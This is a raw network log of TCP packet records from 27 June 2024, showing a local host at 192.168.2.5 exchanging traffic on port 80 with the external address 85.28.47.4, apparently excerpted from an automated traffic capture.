Jun 27, 2024 07:37:14.291013002 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.291269064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.291311979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.291342020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.291359901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.291383028 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.291388035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.291395903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.291399002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.291434050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.291492939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.291505098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.291522026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.291529894 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.291532040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.291544914 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.291560888 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.291645050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.291681051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.291713953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.291728020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.291783094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.291784048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.291831970 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.291902065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.291913986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.291924000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.291934967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.291937113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.291954041 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.291973114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.292085886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.292097092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.292112112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.292120934 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.292124033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.292148113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.292196035 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.292268038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.292279005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.292292118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.292300940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.292304993 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.292319059 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.292336941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.292453051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.292469978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.292489052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.292494059 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.292506933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.292510033 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.292517900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.292530060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.292534113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.292546988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.292566061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.292766094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.292778015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.292788029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.292798042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.292803049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.292810917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.292829037 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.292853117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.292994022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.293008089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.293018103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.293037891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.293051004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.293064117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.368675947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.368700027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.368712902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.368774891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.368807077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.368824959 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.368841887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.368869066 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.368896961 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.368921995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.368933916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.368944883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.368966103 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.368992090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.373187065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.373205900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.373218060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.373255014 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.373277903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.373354912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.373373985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.373385906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.373397112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.373408079 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.373408079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.373436928 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.373466015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.373567104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.373579025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.373621941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.373707056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.373718023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.373759031 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.373786926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.373799086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.373810053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.373821020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.373827934 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.373832941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.373856068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.373883009 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.374017954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.374030113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.374041080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.374053001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.374064922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.374069929 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.374089003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.374109030 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.374248981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.374260902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.374273062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.374305010 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.374329090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.374401093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.374412060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.374423027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.374442101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.374452114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.374453068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.374464989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.374475956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.374488115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.374494076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.374505997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.374507904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.374516010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.374527931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.374540091 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.374567032 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.374577999 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.374979973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.374990940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.375001907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.375013113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.375024080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.375029087 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.375036001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.375047922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.375049114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.375058889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.375071049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.375077009 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.375082016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.375093937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.375096083 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.375107050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.375108957 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.375138998 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.375164032 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.375442028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.375498056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.375669956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.375682116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.375691891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.375710011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.375718117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.375721931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.375732899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.375739098 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.375744104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.375756025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.375756979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.375771999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.375783920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.375786066 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.375794888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.375802994 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.375806093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.375818968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.375825882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.375830889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.375843048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.375854015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.375855923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.375866890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.375871897 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.375905991 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.377573967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.377592087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.377604008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.377629995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.377650023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.377749920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.377760887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.377772093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.377799988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.377825975 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.377888918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.377899885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.377939939 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.378216028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.378283024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.378288031 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.378293037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.378314018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.378329992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.378330946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.378376007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.378376007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.378376007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.378458977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.378468990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.378478050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.378511906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.378534079 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.378552914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.378562927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.378617048 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.378617048 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.378684044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.378693104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.378704071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.378714085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.378734112 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.378760099 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.378834963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.378845930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.378850937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.378865004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.378875017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.378890991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.378906012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.378928900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.379115105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.379163027 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.379261971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.379272938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.379281998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.379292011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.379302025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.379311085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.379311085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.379321098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.379343033 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.379358053 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.379509926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.379561901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.379666090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.379676104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.379684925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.379694939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.379704952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.379714012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.379715919 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.379723072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.379731894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.379740953 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.379741907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.379750013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.379765034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.379785061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.455617905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.455646038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.455728054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.455729961 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.455770016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.455780983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.455791950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.455805063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.455828905 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.455856085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.455936909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.455946922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.455982924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.460098982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.460164070 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.460184097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.460213900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.460232973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.460248947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.460264921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.460290909 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.460334063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.460354090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.460382938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.460407019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.460447073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.460458040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.460469007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.460479021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.460493088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.460504055 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.460526943 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.460540056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.460699081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.460710049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.460748911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.460850000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.460860014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.460871935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.460882902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.460894108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.460895061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.460905075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.460916042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.460927963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.460927963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.460938931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.460958004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.460974932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.461324930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.461335897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.461345911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.461355925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.461376905 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.461395025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.461397886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.461410999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.461429119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.461438894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.461451054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.461462975 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.461493015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.461672068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.461677074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.461692095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.461705923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.461711884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.461718082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.461720943 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.461723089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.461730003 CEST	80	49705	85.28.47.4	192.168.2.5
